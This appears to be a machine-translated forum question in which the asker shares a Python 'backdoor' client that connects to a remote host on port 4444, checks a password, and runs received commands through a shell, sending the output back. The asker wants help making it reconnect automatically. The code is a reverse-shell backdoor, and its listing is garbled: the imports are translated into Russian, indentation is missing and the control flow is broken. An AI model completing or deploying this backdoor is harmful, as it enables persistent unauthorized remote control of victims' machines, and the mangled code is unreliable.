Простой бэкдор-клиент Python, автоматическое переподключение
Я получаю простой бэкдор на python3, только клиент. Я хочу, чтобы после того, как вы отключитесь, программа восстановит соединение, даже когда получит "Отклоненное соединение"
Я попытался обработать ошибку, но безуспешно, если я не слушаю, программа получает "Отклоненное соединение", но не пытается восстановить соединение
гнездо для импорта
подпроцесс импорта
из времени импортировать сон
HOST = '' # The remote host
PORT = 4444 # The same port as used by the server
PASSWORD = b"password"
def Login():
global s
s.sendall(b"Login: ")
data = s.recv(1024)
if data.strip() != PASSWORD:
Login()
else:
s.sendall(b"Connected > ")
Shell()
connected = True
def Shell():
while True:
data1 = s.recv(1024)
if data1.strip() == b":kill":
s.close()
connected = False
while not connected:
s.connect((HOST, PORT))
if ConnectionRefusedError:
try:
s.connect((HOST, PORT))
proc = subprocess.Popen(data1, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE ,stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send(b"mrwick#> ")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
Login()
if ConnectionRefusedError:
sleep(2)
s.connect((HOST, PORT))